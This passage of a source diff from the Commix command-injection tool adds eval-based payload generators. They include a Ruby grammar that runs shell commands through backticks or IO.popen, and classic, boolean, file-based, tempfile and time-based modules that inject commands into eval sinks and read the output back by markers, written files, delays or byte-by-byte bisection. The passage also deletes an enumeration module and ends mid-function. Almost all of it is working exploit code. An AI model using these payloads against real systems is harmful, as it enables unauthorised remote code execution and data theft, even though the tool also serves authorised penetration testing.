"\";", ";", ")", "']", "\"]", "'}", "\"}"] + +SUFFIXES_LVL1 = ["", "+'", "+\""] +# Closing the call again, and commenting out whatever the application appends behind it. +SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["+('", "+(\"", "#"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'#", "\"#", ")#", "]#", "}#", ",'", ",\""] + +# How one of the functions above is reached, as a prefix a payload is wrapped in. +def execution_prefix(function): + return function + "(" + +""" +Wrap the shell commands a payload runs in what this language renders them with. + +There is no statement here that writes to the response the way another language's print does: what +the application renders is the value of the expression it evaluated, so the commands' output is +concatenated and handed back as that value. +""" +def print_statement(separator, commands, chain=None): + if separator == "": + return "+".join(run(command) for command in commands) + return run((chain or separator).join(commands)) + +""" +The expressions every payload is built out of, spelled the way this language spells them. + +What a technique asks of a sink is the same whichever language is evaluating: run this, tell me how +long the answer is, tell me its Nth byte, wait this long if the answer is yes. Only the spelling +differs - so the techniques ask through the names below, and a language is added by writing them +again rather than by touching a payload. +""" + +# Run a command and yield its output, through the backtick operator - which reads a command the +# same way a double-quoted string reads its own text, so nothing here needs a separate literal form. +# A string literal holding the given text. A single-quoted Ruby string interpolates nothing and +# recognises no escape but these two, so a '#{' or a backtick in the command stays what it is. +def _literal(text): + return "'" + text.replace("\\", "\\\\").replace("'", "\\'") + "'" + +""" +What the backtick operator reads out of the command it holds, and what each of those is written as +so the shell is handed the character instead. + +As in the PHP grammar beside it, with this language's own interpolation in the place of the other's +variable: '#{...}' is read here, and a '#' is only the start of one before a brace - escaped all the +same, since the escape hands back the character either way and nothing has to work out which '#' +this is. +""" +BACKTICK_READS = ("\\", "`", "#") + +# The command inside the operator, as the one holding it has to be written. +def backticked(cmd): + for character in BACKTICK_READS: + cmd = cmd.replace(character, "\\" + character) + return cmd + +# The command as it was written, out of the operator above. +def backtick_command(text): + return re.sub(r"\\([\\`#])", r"\1", text) + +# The operator and everything it holds, an escaped backtick of the command's own staying inside it. +BACKTICK_SPAN = r"`((?:[^`\\]|\\.)*)`" + +def run(cmd): + # As in the PHP grammar beside it, and for the same reason: a script rewriting this payload is + # written around the operator below, so where one is in effect the command goes in that way - + # written for what the interpreter reads out of it on the way through. + from src.utils import settings + if any(settings.TAMPER_SCRIPTS.values()): + return "`" + backticked(cmd) + "`" + return "IO.popen(" + _literal(cmd) + ").read" + +# Read a file and yield its contents. +def read_file(path): + return run("cat " + path) + +""" +Drop the newlines an output ends with, so a length agrees with what a shell's own substitution +would report. + +Whitespace of every kind taken off instead, an output ending in a space or a tab was reported +shorter than it is and came back without the part of it that said so: a command printing 'AB ' +was answered with 'AB', while the techniques reading their answer off a substitution handed back +all four characters. A substitution drops newlines and stops at the first byte that is not one - +a carriage return, among them - so that is what comes off here. +""" +def trim(expr): + # Read as bytes before the pattern is put to it. What this language's own reader hands back is + # tagged with the encoding the process was started in, US-ASCII on a target that names none, and a + # pattern over a string carrying a byte that encoding cannot read raises rather than matching: an + # output of three Greek letters took the whole payload down with it and came back as nothing at + # all, where the same output read one byte at a time came back whole. Every byte sequence is a + # valid one in ASCII-8BIT, which is what the length and the ordinals beside this already count. + return "(" + expr + ").force_encoding(\"ASCII-8BIT\").sub(/\\n+\\z/, \"\")" + +""" +How many bytes an expression is. + +Counted off the bytes rather than off what this language calls its characters: a command printing +three Greek letters is six bytes and was reported as three, so the search asked about half of them +and the other half came back as nothing at all. Every other grammar here counts bytes, and the +ordinals the techniques read are byte ordinals, so the two have to agree on what a position is. +""" +def length(expr): + return "(" + expr + ").bytesize" + +""" +The ordinal of an expression's Nth byte, counting from zero. + +Indexed rather than sliced: a single index answers 'nil' past the end, where a slice would answer an +empty string instead - itself a valid one-character result at the boundary, and not distinguishable +from "out of range" the way 'nil' is. +""" +def ordinal(expr, index): + return "((" + expr + ").getbyte(" + str(index) + ") || 0)" + +# An expression's value read as a number, for a command whose output is one - 'nil.to_i' and +# '"".to_i' both answer 0, so nothing further has to guard against either. +def to_number(expr): + return "(" + expr + ").to_i" + +# Wait for as long as the condition is true, and no time at all when it is false. A ternary rather +# than multiplying the delay by the condition, the way another language's grammar does it here - +# 'true' and 'false' are not numbers in this one, and cannot be multiplied by anything. +def delay(timesec, condition): + return "sleep((" + condition + ") ? " + str(timesec) + " : 0)" + +""" +Stop the page where the condition does not hold, so what comes back says which it was. +""" +def halt(condition): + # Empty string rather than a number: the value is spliced into whatever the target was building, + # and only a string leaves that expression intact for the page to render as it normally would. + return "((" + condition + ") ? \"\" : exit)" + +""" +Evaluate one expression and then another, within a single expression. + +An array of the two, read back at its second element: both are evaluated, left to right, and the +value is the second one's. Concatenation is what the PHP grammar writes here, but this language +adds no Integer onto a String, and the second expression is as often a 'sleep' answering with one +as it is a string. +""" +def sequence(first, second): + return "[" + first + "," + second + "][1]" + +# The shell's comparison operators, as this language spells them. +COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} + +# What ends a statement, where the boundary being tested can carry one. +TERMINATOR = ";" + +# eof diff --git a/src/core/eval/payloads/__init__.py b/src/core/eval/payloads/__init__.py new file mode 100644 index 0000000000..136e3dd219 --- /dev/null +++ b/src/core/eval/payloads/__init__.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +""" +What every payload in this package prints with, and why it is not what the command payloads print +with. + +Those choose between 'printf' and 'echo' through the 'checks.print_*' family, because a POSIX shell +writes an argument as it stands with the one and reads backslashes as escapes - and an output +beginning '-n' as an option - with the other. These do not choose. One payload here serves either +operating system, only what a shell cannot share being written twice ('$((...))' against 'set /a'), +and 'echo' is the one printer 'cmd.exe' also has: asking 'checks.print_*' for it would reach for a +'printf' that is not there the moment the target turns out to be Windows. + +Nothing printed here is an output of the target's, either. It is a marker of letters, or a sum of +two numbers commix chose itself, so neither of the things 'echo' does to a string can reach one - +which is the whole of what 'printf' is preferred for on the other side. +""" + +# eof diff --git a/src/core/eval/payloads/boolean_based.py b/src/core/eval/payloads/boolean_based.py new file mode 100644 index 0000000000..1a780e9922 --- /dev/null +++ b/src/core/eval/payloads/boolean_based.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings + +# The command's output, trailing whitespace dropped as a shell's own substitution drops it. +def _output(cmd): + return settings.EVAL_GRAMMAR.trim(settings.EVAL_GRAMMAR.run(cmd)) + +# A statement terminator, where the boundary being tested can carry one - an expression-only sink +# (Python's 'eval()', not 'exec()') never can, and the empty separator is how that case is told +# apart from one that is actually mid-statement, the way the file-based technique already tells it. +def _end(separator): + return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" + +""" +A question whose answer is known, for telling a target that answers at all from one that does not. +""" +def condition_check(separator, holds=True): + condition = "1" + settings.EVAL_GRAMMAR.COMPARISON["-eq"] + ("1" if holds else "2") + return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) + +""" +The decision payload, which asks the target to print something unguessable and measure it. +""" +def decision(separator, TAG, output_length, holds=True): + expected = str(output_length if holds else output_length + 1) + condition = settings.EVAL_GRAMMAR.length(_output("echo " + TAG)) + settings.EVAL_GRAMMAR.COMPARISON["-eq"] + expected + return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) + +""" +How many bytes the command's output is, asked so that it can be bisected. +""" +def get_length(separator, cmd, candidate_length, operator="-eq"): + settings.USER_APPLIED_CMD = cmd + condition = settings.EVAL_GRAMMAR.length(_output(cmd)) + settings.EVAL_GRAMMAR.COMPARISON[operator] + str(candidate_length) + return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) + +""" +Whether the ordinal of the output's Nth byte is at or above this one, which is what bisects it. +""" +def get_char(separator, cmd, num_of_chars, ascii_char, operator="-le"): + settings.USER_APPLIED_CMD = cmd + # Counted from zero by the grammar, and from one by every technique that asks. + condition = str(ascii_char) + settings.EVAL_GRAMMAR.COMPARISON[operator] + settings.EVAL_GRAMMAR.ordinal(_output(cmd), num_of_chars - 1) + return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) + +# eof diff --git a/src/core/eval/payloads/classic.py b/src/core/eval/payloads/classic.py new file mode 100755 index 0000000000..a8ed9b5264 --- /dev/null +++ b/src/core/eval/payloads/classic.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +The dynamic code evaluation (aka eval-based) technique. +The available "eval-based" payloads. +""" + +""" +Wrap the shell commands a payload runs in the print statement of the language being tested. +""" +def _print_statement(separator, commands, chain=None): + return settings.EVAL_GRAMMAR.print_statement(separator, commands, chain) + +""" +Read a value off a Windows command that prints no newline of its own, such as 'set /a'. +""" +def _windows_line(cmd): + return "for /f \"tokens=* eol=\" %i in ('cmd /c \"" + cmd + "\"') do @echo %i" + +""" +eval-based decision payload (check if host is vulnerable). +""" +def decision(separator, TAG, randv1, randv2): + if settings.TARGET_OS == settings.OS.WINDOWS: + commands = ["echo " + TAG] + if not settings.SKIP_CALC: + commands.append(_windows_line("set /a (" + str(randv1) + "+" + str(randv2) + ")")) + commands = commands + ["echo " + TAG, "echo " + TAG] + payload = _print_statement(separator, commands, chain=checks.WINDOWS_CHAIN) + + else: + commands = ["echo " + TAG] + if not settings.SKIP_CALC: + commands.append("echo $((" + str(randv1) + "+" + str(randv2) + "))") + commands = commands + ["echo " + TAG, "echo " + TAG] + payload = _print_statement(separator, commands) + + return payload + +""" +__Warning__: The alternative shells are still experimental. +""" +def decision_alter_interpreter(separator, TAG, randv1, randv2): + if settings.TARGET_OS == settings.OS.WINDOWS: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "+" + str(int(randv2)) + ")))\"" + commands = ["echo " + TAG] + if not settings.SKIP_CALC: + commands.append(python_payload) + commands = commands + ["echo " + TAG, "echo " + TAG] + payload = _print_statement(separator, commands, chain=checks.WINDOWS_CHAIN) + + else: + python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "+" + str(int(randv2)) + ")))\"" + commands = ["echo " + TAG] + if not settings.SKIP_CALC: + # A leading space where nothing separates it from the marker before it. + commands.append((settings.SINGLE_WHITESPACE if separator == "" else "") + python_payload) + commands = commands + ["echo " + TAG, "echo " + TAG] + payload = _print_statement(separator, commands) + + return payload + +""" +Execute shell commands on vulnerable host. +""" +def cmd_execution(separator, TAG, cmd): + if settings.TARGET_OS == settings.OS.WINDOWS: + # cmd.exe's echo prints quote characters literally, unlike a POSIX shell that strips them. + commands = ["echo " + TAG, "echo " + TAG, cmd, "echo " + TAG, "echo " + TAG] + payload = _print_statement(separator, commands, chain=checks.WINDOWS_CHAIN) + else: + settings.USER_APPLIED_CMD = cmd + # Quoted where a separator chains it, so the marker cannot be read as part of the command. + marker = "echo " + (TAG if separator == "" else "'" + TAG + "'") + payload = _print_statement(separator, [marker, marker, cmd, marker, marker]) + + return payload + +""" +__Warning__: The alternative shells are still experimental. +""" +def cmd_execution_alter_interpreter(separator, TAG, cmd): + if settings.TARGET_OS == settings.OS.WINDOWS: + if settings.REVERSE_TCP: + payload = (separator + cmd + settings.SINGLE_WHITESPACE + ) + else: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + "')\"" + commands = ["echo " + TAG, "echo " + TAG, python_payload, "echo " + TAG, "echo " + TAG] + payload = _print_statement(separator, commands, chain=checks.WINDOWS_CHAIN) + else: + return cmd_execution(separator, TAG, cmd) + return payload + +# eof diff --git a/src/core/eval/payloads/file_based.py b/src/core/eval/payloads/file_based.py new file mode 100644 index 0000000000..e4eb3396da --- /dev/null +++ b/src/core/eval/payloads/file_based.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings + +""" +The "file-based" injection technique on Semiblind Code Injection. +The available "file-based" payloads. + +Nothing here spells out a language: the command comes from the grammar of whichever one is being +evaluated. The redirection is the shell's own, so one payload serves either operating system - +which is why the marker is printed with 'echo' rather than through 'checks.print_*', for the reason +this package's '__init__.py' gives. +""" + +# The command, run from inside the string being evaluated. +def _run(cmd): + return settings.EVAL_GRAMMAR.run(cmd) + +# A statement terminator, where the boundary being tested can carry one. +def _end(separator): + return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" + +# Where the output is written, as the shell doing the writing sees it. +def _output_path(OUTPUT_TEXTFILE): + return settings.WEB_ROOT + OUTPUT_TEXTFILE + +""" +The output file's path on a Windows target - the redirection is the shell's own either way. +""" +def windows_output_path(OUTPUT_TEXTFILE): + return _output_path(OUTPUT_TEXTFILE) + +""" +File-based decision payload (check if host is vulnerable). +""" +def decision(separator, TAG, OUTPUT_TEXTFILE): + return _run("echo " + TAG + settings.FILE_WRITE_OPERATOR + _output_path(OUTPUT_TEXTFILE)) + _end(separator) + +""" +Several markers at once, so a target answering the same way to every payload can be told apart. +""" +def decision_combined(separator, tags, OUTPUT_TEXTFILE): + written = "echo " + "".join(tags) + settings.FILE_WRITE_OPERATOR + _output_path(OUTPUT_TEXTFILE) + return _run(written) + _end(separator) + +""" +__Warning__: The alternative shells are still experimental. +""" +def decision_alter_interpreter(separator, TAG, OUTPUT_TEXTFILE): + return decision(separator, TAG, OUTPUT_TEXTFILE) + +""" +__Warning__: The alternative shells are still experimental. +""" +def decision_combined_alter_interpreter(separator, tags, OUTPUT_TEXTFILE): + return decision_combined(separator, tags, OUTPUT_TEXTFILE) + +""" +Execute shell commands on vulnerable host. +""" +def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): + settings.USER_APPLIED_CMD = cmd + return _run(cmd + settings.FILE_WRITE_OPERATOR + _output_path(OUTPUT_TEXTFILE)) + _end(separator) + +""" +__Warning__: The alternative shells are still experimental. +""" +def cmd_execution_alter_interpreter(separator, cmd, OUTPUT_TEXTFILE): + return cmd_execution(separator, cmd, OUTPUT_TEXTFILE) + +# eof diff --git a/src/core/eval/payloads/tempfile_based.py b/src/core/eval/payloads/tempfile_based.py new file mode 100644 index 0000000000..ca0b6a4a5a --- /dev/null +++ b/src/core/eval/payloads/tempfile_based.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings + +""" +The "tempfile-based" injection technique on Semiblind Code Injection. +The available "tempfile-based" payloads. + +Nothing here spells out a language: the expressions come from the grammar of whichever one is being +evaluated. One payload also serves either operating system, the redirection being the shell's own. +""" + +# The command, run from inside the string being evaluated, its output going to the file. +def _write(cmd, OUTPUT_TEXTFILE): + return settings.EVAL_GRAMMAR.run(cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE) + +# The file's contents, as the language sees them. The language indexes the text itself, so nothing +# rewrites the file as ordinals first and no 'tr', 'od' or 'awk' is asked of the target. +def _contents(OUTPUT_TEXTFILE): + return settings.EVAL_GRAMMAR.trim(settings.EVAL_GRAMMAR.read_file(OUTPUT_TEXTFILE)) + +# A statement terminator, where the boundary being tested can carry one - an expression-only sink +# (Python's 'eval()', not 'exec()') never can, and the empty separator is how that case is told +# apart from one that is actually mid-statement, the way the file-based technique already tells it. +def _end(separator): + return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" + +# Delay only while the condition holds: a boolean times the delay is the delay or nothing at all. +def _sleep(condition, timesec): + # Whole seconds: the delay is counted in them, and a fractional one only reads as noise. + return settings.EVAL_GRAMMAR.delay(int(timesec), condition) + +def _conditional_sleep(condition, timesec, separator): + return _sleep(condition, timesec) + _end(separator) + +# Write the output to the file and measure what landed there. Joined by the language's concatenation +# operator, since what the boundary breaks into is an expression rather than a statement. +def _write_and_measure(cmd, j, OUTPUT_TEXTFILE, timesec, separator, operator): + condition = str(j) + operator + settings.EVAL_GRAMMAR.length(_contents(OUTPUT_TEXTFILE)) + # The terminator ends the whole expression, so it is appended once the sequence has closed around + # both halves - carried inside, it would sit within the call or the tuple that wrapping writes. + payload = settings.EVAL_GRAMMAR.sequence(_write(cmd, OUTPUT_TEXTFILE), + _sleep(condition, timesec)) + return payload + _end(separator) + +""" +Tempfile-based decision payload (check if host is vulnerable). +""" +def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): + return _write_and_measure("echo " + TAG, j, OUTPUT_TEXTFILE, timesec, separator, settings.EVAL_GRAMMAR.COMPARISON["-eq"]) + +""" +__Warning__: The alternative shells are still experimental. +""" +def decision_alter_interpreter(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): + return decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + +""" +Delay while a condition of the caller's own holds. +""" +def condition_check(separator, condition, timesec, http_request_method): + # Stated in the shell's spelling, as every other technique states it, so it is rewritten first. + condition = condition.strip() + if condition.startswith("-s "): + # Read the way the contents are read anywhere else here, so no quote has to survive a boundary. + condition = settings.EVAL_GRAMMAR.length(_contents(condition[3:].strip())) + settings.EVAL_GRAMMAR.COMPARISON["-gt"] + "0" + else: + for shell_operator, operator in settings.EVAL_GRAMMAR.COMPARISON.items(): + condition = condition.replace(settings.SINGLE_WHITESPACE + shell_operator + settings.SINGLE_WHITESPACE, operator) + return _conditional_sleep(condition, timesec, separator) + +""" +Windows counterpart of condition_check() above - the language answers the same on either operating +system, so there is nothing separate to ask for. +""" +def windows_condition_check(separator, expr, expected, timesec): + return None + +""" +Execute shell commands on vulnerable host. +""" +def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method, operator="-le"): + settings.USER_APPLIED_CMD = cmd + return _write_and_measure(cmd, j, OUTPUT_TEXTFILE, timesec, separator, settings.EVAL_GRAMMAR.COMPARISON[operator]) + +""" +__Warning__: The alternative shells are still experimental. +""" +def cmd_execution_alter_interpreter(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): + return cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method) + +""" +Get the execution output, of shell execution. +""" +def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + # The guess stays left of the operator, as it does elsewhere: the search reads the answer as "the + # byte is at or above this", and an operand order of its own would send it into the wrong half. + ordinal = settings.EVAL_GRAMMAR.ordinal(_contents(OUTPUT_TEXTFILE), num_of_chars - 1) + return _conditional_sleep(str(ascii_char) + settings.EVAL_GRAMMAR.COMPARISON[operator] + ordinal, timesec, separator) + +""" +__Warning__: The alternative shells are still experimental. +""" +def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + return get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator) + +""" +Check for false positive result. + +What the file holds here is a small sum, and the caller looks for it among the values it could have +been - so the contents are read as a number rather than indexed for the ordinal of a byte. +""" +def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): + condition = str(ascii_char) + settings.EVAL_GRAMMAR.COMPARISON["-eq"] + settings.EVAL_GRAMMAR.to_number(_contents(OUTPUT_TEXTFILE)) + return _conditional_sleep(condition, timesec, separator) + +""" +Everything below reads the same created file back through a calibrated oracle instead of a delay - +nothing here waits, so what a condition changes is read off the page itself. The condition is put the +same way 'halt()' already puts one for this sink's own boolean-based technique: true leaves the page +as it was building, false stops it where it stood. +""" + +""" +Every boundary this sink can carry a statement on can carry this - the language answers the same +question whichever separator broke into its string. +""" +def oracle_supported(separator): + return True + +""" +Write a command's output into the created file once - nothing here asks a question, so nothing here +waits. +""" +def oracle_write(separator, cmd, OUTPUT_TEXTFILE): + return _write(cmd, OUTPUT_TEXTFILE) + _end(separator) + +""" +A question with a known answer, for telling whether this target's own oracle can tell a length that +matches from one that does not - written and read back in the one expression, since the file's +contents are not yet known to be readable at all. +""" +def oracle_decision(separator, TAG, output_length, OUTPUT_TEXTFILE, holds=True): + expected = str(output_length if holds else output_length + 1) + condition = settings.EVAL_GRAMMAR.length(_contents(OUTPUT_TEXTFILE)) + settings.EVAL_GRAMMAR.COMPARISON["-eq"] + expected + payload = settings.EVAL_GRAMMAR.sequence(_write("echo " + TAG, OUTPUT_TEXTFILE), settings.EVAL_GRAMMAR.halt(condition)) + return payload + _end(separator) + +""" +How many bytes the created file holds, asked as a comparison so that it can be bisected - the file's +length rather than the command's, read without running the command again. +""" +def oracle_get_length(separator, OUTPUT_TEXTFILE, candidate_length, operator="-ge"): + condition = settings.EVAL_GRAMMAR.length(_contents(OUTPUT_TEXTFILE)) + settings.EVAL_GRAMMAR.COMPARISON[operator] + str(candidate_length) + return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) + +""" +Whether the ordinal of the created file's Nth byte is at or above this one, which is what bisects it +- the language indexes the file's own text, so nothing here rewrites it as ordinals first. +""" +def oracle_get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, operator="-le"): + ordinal = settings.EVAL_GRAMMAR.ordinal(_contents(OUTPUT_TEXTFILE), num_of_chars - 1) + condition = str(ascii_char) + settings.EVAL_GRAMMAR.COMPARISON[operator] + ordinal + return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) + +# eof diff --git a/src/core/eval/payloads/time_based.py b/src/core/eval/payloads/time_based.py new file mode 100644 index 0000000000..0738b9f4d3 --- /dev/null +++ b/src/core/eval/payloads/time_based.py @@ -0,0 +1,119 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings + +""" +The "time-based" injection technique on Blind Code Injection. +The available "time-based" payloads. + +Nothing here spells out a language: the expressions come from the grammar of whichever one is being +evaluated, so the same payloads serve any of them. One payload also serves either operating system, +since the shell underneath is only ever asked to run the command. +""" + +# The command's output, with trailing newlines dropped the way a shell's own substitution drops +# them - the length reported here has to be the length every other technique reports. +def _output(cmd): + return settings.EVAL_GRAMMAR.trim(settings.EVAL_GRAMMAR.run(cmd)) + +# A statement terminator, where the boundary being tested can carry one - an expression-only sink +# (Python's 'eval()', not 'exec()') never can, and the empty separator is how that case is told +# apart from one that is actually mid-statement, the way the file-based technique already tells it. +def _end(separator): + return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" + +# Delay only while the condition holds: a boolean times the delay is the delay or nothing at all. +def _conditional_sleep(condition, timesec, separator): + # Whole seconds: the delay is counted in them, and a fractional one only reads as noise. + return settings.EVAL_GRAMMAR.delay(int(timesec), condition) + _end(separator) + +""" +Time-based decision payload (check if host is vulnerable). +""" +def decision(separator, TAG, output_length, timesec, http_request_method): + condition = str(output_length) + settings.EVAL_GRAMMAR.COMPARISON["-eq"] + settings.EVAL_GRAMMAR.length(_output("echo " + TAG)) + return _conditional_sleep(condition, timesec, separator) + +""" +__Warning__: The alternative shells are still experimental. +""" +def decision_alter_interpreter(separator, TAG, output_length, timesec, http_request_method): + return decision(separator, TAG, output_length, timesec, http_request_method) + +""" +Delay while a condition of the caller's own holds. +""" +def condition_check(separator, condition, timesec, http_request_method): + # Stated in the shell's spelling, as every other technique states it, so it is rewritten first. + for shell_operator, operator in settings.EVAL_GRAMMAR.COMPARISON.items(): + condition = condition.replace(settings.SINGLE_WHITESPACE + shell_operator + settings.SINGLE_WHITESPACE, operator) + return _conditional_sleep(condition, timesec, separator) + +""" +Get the execution output length, of shell execution. +""" +def get_length(separator, cmd, candidate_length, timesec, http_request_method): + settings.USER_APPLIED_CMD = cmd + condition = str(candidate_length) + settings.EVAL_GRAMMAR.COMPARISON["-le"] + settings.EVAL_GRAMMAR.length(_output(cmd)) + return _conditional_sleep(condition, timesec, separator) + +""" +__Warning__: The alternative shells are still experimental. +""" +def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http_request_method): + return get_length(separator, cmd, candidate_length, timesec, http_request_method) + +""" +Get the execution output, of shell execution. +""" +def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + # The guess stays left of the operator, as it does elsewhere: the search reads the answer as "the + # byte is at or above this", and an operand order of its own would send it into the wrong half. + ordinal = settings.EVAL_GRAMMAR.ordinal(_output(cmd), num_of_chars - 1) + return _conditional_sleep(str(ascii_char) + settings.EVAL_GRAMMAR.COMPARISON[operator] + ordinal, timesec, separator) + +""" +__Warning__: The alternative shells are still experimental. +""" +def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + return get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method, operator) + +""" +Execute shell commands on vulnerable host. +""" +def cmd_execution(separator, cmd, output_length, timesec, http_request_method): + settings.USER_APPLIED_CMD = cmd + condition = str(output_length) + settings.EVAL_GRAMMAR.COMPARISON["-le"] + settings.EVAL_GRAMMAR.length(_output(cmd)) + return _conditional_sleep(condition, timesec, separator) + +""" +__Warning__: The alternative shells are still experimental. +""" +def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http_request_method): + return cmd_execution(separator, cmd, output_length, timesec, http_request_method) + +""" +Check for false positive result. + +The command asked for here computes a small sum, and the caller looks for that sum among the values +it could have produced - so what is compared is the output read as a number, not the ordinal of a +byte of it. Asked the other way, the digit '5' answers 53 and no candidate ever matches. +""" +def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): + condition = str(ascii_char) + settings.EVAL_GRAMMAR.COMPARISON["-eq"] + settings.EVAL_GRAMMAR.to_number(_output(cmd)) + return _conditional_sleep(condition, timesec, separator) + +# eof diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py deleted file mode 100755 index e93ee1ff02..0000000000 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ /dev/null @@ -1,566 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys -from src.thirdparty.six.moves import urllib as _urllib - -from src.utils import logs -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.blind.techniques.time_based import tb_injector - -""" -The "time-based" injection technique on Blind OS Command Injection. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = False - cmd = settings.PS_VERSION - if alter_shell: - cmd = cmd.replace("'","\\'") - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - ps_version = output - try: - if float(ps_version): - settings.PS_ENABLED = True - ps_version = "".join(str(p) for p in output) - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - # Output PowerShell's version number - info_msg = "The PowerShell's version number is " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print("\n" + settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False - -""" -Hostname enumeration -""" -def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, 